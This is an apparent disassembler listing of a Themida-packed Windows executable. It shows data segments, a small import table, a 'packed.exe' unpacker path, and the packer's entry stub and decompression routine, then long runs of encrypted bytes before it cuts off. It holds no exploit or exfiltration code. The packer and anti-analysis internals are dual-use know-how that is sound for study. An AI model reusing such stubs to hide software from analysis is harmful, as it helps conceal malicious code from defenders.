dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E4000 ( 933888.) ; Section size in file : 000E4000 ( 933888.) ; Offset to raw data for section: 000E0000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 4E0000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 4B45946Bh, 4B783h, 54098h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053C0A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053F46D SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053F6E3 SIZE 00000055 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 0, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A3Co and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0E026Ah add ecx, edi jmp short loc_4E0090 ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53C0A4 mov ecx, offset word_4E026A loc_4E0090: ; CODE XREF: start+70j push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53C0A4 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o ; --------------------------------------------------------------------------- les esi, [ebx] push ebx add [edi-51EEFE32h], edi scasb and dl, [edx-3744E41Fh] and [eax+3BD7FF46h], edi mov eax, 37024F3h test [ebp-22h], edi inc ebp db 36h retn 7F37h ; --------------------------------------------------------------------------- db 0AFh dd 0E6D53417h, 1EE10335h, 354BCFEh, 696D6568h, 6A846164h dd 0E17122EAh, 9822BF1Bh, 0C8BF1EE1h, 0FC46B811h, 46B88733h dd 3007AFEBh, 8312D34h, 22477E5Fh, 0D0D78F70h, 1EE103C6h dd 0E101E8AFh, 52B8BB0Bh, 74736507h, 41337261h, 0D32E8B70h dd 58A7E478h, 0B844D1AAh, 10C5728Bh, 80E860D4h, 0D3ED815Dh dd 60B0333h, 102D9589h, 91B50D08h, 7D858428h, 0BD830721h dd 0E70506Fh, 0E88B0C74h, 0FB8E245h, 7078C24Dh, 91E32444h dd 6A06A53Eh, 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h dd 0D5E90A89h, 214E910h, 405F4C91h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B0034C1h ; --------------------------------------------------------------------------- dw 4524h dd 0E6C08D8h, 8896340h, 80F37D81h, 0F741D19h, 83FC0820h dd 0FF45CC2Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h dd 0FF7CC481h, 10490247h, 8D00350Ah, 5D8B8045h, 8551C708h dd 8D501219h, 0C3D10A80h, 412A1888h, 81280B89h, 5D8006BDh dd 27A5E375h, 64BA8D0Ah, 8075013Bh, 0F4BB0E8Ah, 3B85B24h dd 785437ABh, 0FF3D0D3h, 754B080Eh, 0C3AFC1F7h, 4A494647h dd 0A8F94618h, 0AE61D142h, 0F0D0818Ah, 28EEF6D7h, 284DFC45h dd 0F2AD04EBh, 3E803146h, 4DBAF740h, 8634B984h, 7FEB0C7Dh dd 32F8433Eh, 13F0126Dh, 10F40E2Ah, 65C14A05h, 0D60004F0h dd 3E0D1F8h, 2880E5C2h, 1C8ADB33h, 0FB738030h, 0A0A7230h dd 0F4057739h, 22C9FBEBh, 192914A6h, 0FD660A0Dh, 7D1EBD08h dd 0B00AC33Ah, 72411A10h, 460AC30Bh, 247A0677h, 615D0188h dd 83F4ECF0h, 7202CC7Dh, 0C00CB06Ch, 99A5DD76h, 7F826AAh dd 0A88D1D38h, 553B02A8h, 78820FFCh, 6B0BDA7h, 43F938AAh dd 0B98308BAh, 0FCA17082h, 3650BDh, 7470FFEh, 0B9FA7549h dd 736A1722h, 0D18F01BBh, 0BCEB82F1h, 8E01760Ch, 0C384486h dd 9D605107h, 0FB1DDF36h, 7268A94h, 305E928h, 10DB8C59h dd 133C0589h, 5CD98351h, 0D06BC32Ch, 0C304E956h, 0C45E211Dh dd 256D8A90h, 45820519h, 21801808h, 33C45646h, 210DC2EDh dd 76F1F481h, 67D831CFh, 0D4D9C06Dh, 14C034CBh, 5B4E3982h dd 70F7E76h, 43D51B8h, 663BC7D1h, 751D5846h, 11582E09h dd 0AEC480Eh, 69065E4h, 0C5840064h, 57968E05h, 1E5381A9h dd 29C20415h, 0CE718C19h, 0AC0EB7E7h, 182BFF66h, 22047781h dd 0C103341Dh, 7533F984h, 3FBC2020h, 0EFEC0AEEh, 670230CEh dd 8C13EC41h, 0FFCC3F7Fh, 459F4021h, 0A060E9D4h, 152C462h dd 11254D8Ch, 9B1AA82h, 845AAB9Ah, 4C561311h, 82155EE7h dd 508162EEh, 8A892008h, 1344B9F5h, 4397230Ah, 0FE8B50h dd 0BCDA8D67h, 16A87444h, 94E2813Eh, 0ED23CB4h, 0A6CA0BDFh dd 0A13B6386h, 59185115h, 8A23C472h, 1E1145h, 0DBC45141h dd 0FD71ADEh, 0FD2ECCF8h, 8A109762h, 0D4812380h, 8619C813h dd 2C80C1Ah, 30573852h, 8AE4C45Fh, 1C227546h, 0C4574701h dd 0F46B83C3h, 181D4BD8h, 210FEA4Ah, 34A425B4h, 0A6C317F7h dd 6402E38Ah, 61587819h, 8AC8C460h, 0C089917Dh, 0E0C45848h dd 0BF4DA007h, 5C16B451h, 14562052h, 2D0EE930h, 94BBBCh dd 0DF9C59DEh, 5F857A96h, 10B1FB0Ah, 0A028398Bh, 0F906DA7Ch dd 7698C782h, 56B90316h, 2C1CC6BDh, 458E1081h, 0CBBB0E18h dd 803F1544h, 0C753CA59h, 3203C3E8h, 8B7FB830h, 731001FBh dd 10431F5Fh, 0CF1F4887h, 3E0C3398h, 4451B273h, 613B76F2h dd 90E01E53h, 0B95C8005h, 6151219Ah, 0F2290FAh, 0F0845A62h dd 0FDD907F7h, 8C150382h, 0B683A286h, 0DA186579h, 0E00F2DEAh dd 52830014h, 0F74E274Ch, 0D7F0B7FFh, 8CDFEB39h, 97383E1Fh dd 0FDE8B7EAh, 103F621h, 77986F22h, 0D2CB98D3h, 0CF710Eh dd 30B3D4Ah, 90E3CE84h, 0E6609B74h, 0C5C6E508h, 14851C2Bh dd 0F47F4D25h, 671FC18h, 0E2F0AB18h, 3E3DDE10h, 0DC20538Ah dd 1A2F4503h, 0F8EEF350h, 0EC40A1h, 6847664Fh, 0C60DBFE5h dd 0DC609E60h, 0A44941h, 48437824h, 8456ED31h, 85FB3Dh dd 0A696C66Bh, 0F6E23CEBh, 0C2F38BF6h, 0D868EC98h, 6BB18D00h dd 4A3BD5A1h, 6FC1009Dh, 78745E40h, 40C56A4h, 0D1EACEFCh dd 52EC0042h, 0DE0C0337h, 5303A672h, 4F9106E1h, 909000D7h dd 0B550E997h, 4303DEBFh, 0B27B243Eh, 0DF881F9Fh, 3D0900D4h dd 0FDFF301Ah, 0AC70E0C0h, 0A0CF2BF2h, 1A7B634h, 0FDC0FFDFh dd 0C4507CDCh, 0B300CD40h, 2F35FBE1h, 14F4F6E4h, 9C2AA00Dh dd 48B83F8Fh, 9D4169F5h, 68299FF0h, 8BC21ECh, 1B00A83Eh dd 1C3D5DDBh, 0F57B3150h, 0C7AA7A89h, 9EF12009h, 847C0329h dd 5E4105EEh, 83605D67h, 0C09C8E10h, 8324A9D9h, 0E0BF5A30h dd 6030C21Ch, 626ED92Fh, 50DCD493h, 49ED848Ch, 7FDE00ECh dd 4C32CDC3h, 19C1F483h, 1E7BE6FCh, 95E9C8h, 4CC69F03h dd 7ABD51F0h, 0D4B0A255h, 1E00E3A4h, 0E9328D54h, 30EC3DFCh dd 2421A11Ch, 0A060EA73h, 13016790h, 4E921A6Fh, 880488A1h dd 0E8CE45F6h, 0C2D2B840h, 700F9Eh, 31751CDEh, 0A369173Ch dd 0E793AD03h, 77B55671h, 5B0F5C40h, 43581A00h, 72A19C05h dd 0BFBE9A18h, 88EC2061h, 7A306A6Eh, 9C3D18B0h, 93BEF29Ah dd 18EC0604h, 0AA18B9A7h, 6591E372h, 0FDB4001Eh, 0F4696E7h dd 0CB61827Ah, 1B581D48h, 0F4B081D2h, 0F4489961h, 45E84420h dd 0AA183E71h, 0D551DE68h, 9DF3194h, 56EB50B8h, 0CE20A0F8h dd 0AA203B9Dh, 0C531EEB2h, 96702044h, 42415400h, 8CD2A30Dh dd 0FF90A19h, 40DC84E1h, 14023192h, 4383BE00h, 0E5B97B2Eh dd 0ED2513C1h, 29511820h, 7300F886h, 0B827898Ah, 3DE9AF5Ah dd 9A09943Bh, 1423C31Ah, 0C111DF90h, 3C00E76Eh, 0A9E0864Ah dd 711201F0h, 5020F2A5h, 928E72C4h, 0F18700F4h, 0E7250C5Ah dd 6531F4ECh, 50B9C997h, 0F889F2E9h, 0C0023B46h, 0E402DF7Bh dd 0A54446Ah, 15E85813h, 51E50FECh, 12A62E1h, 90498EADh dd 0CE6DA628h, 77DB0570h, 0E092F1h, 1C740DE8h, 6230707Ah dd 5B14D1D6h, 0CAE11D5Ah, 0E82900A2h, 68BA5CDh, 8449807h dd 10F7ED8Ch, 0AE70E4E0h, 195B00C4h, 0A6CD3DB8h, 253A5E67h dd 510075D0h, 866242EEh, 3C69AE4Ch, 0C600EF0Eh, 124335DCh dd 313E2F8Eh, 0C85B808Fh, 0B01963C4h, 0BB101DE0h, 0B792C0D4h dd 0A65C5368h, 26F6ED00h, 6BCC37A7h, 0EEEC005Ah, 8FE1AC1Eh dd 3092CF20h, 904CCE03h, 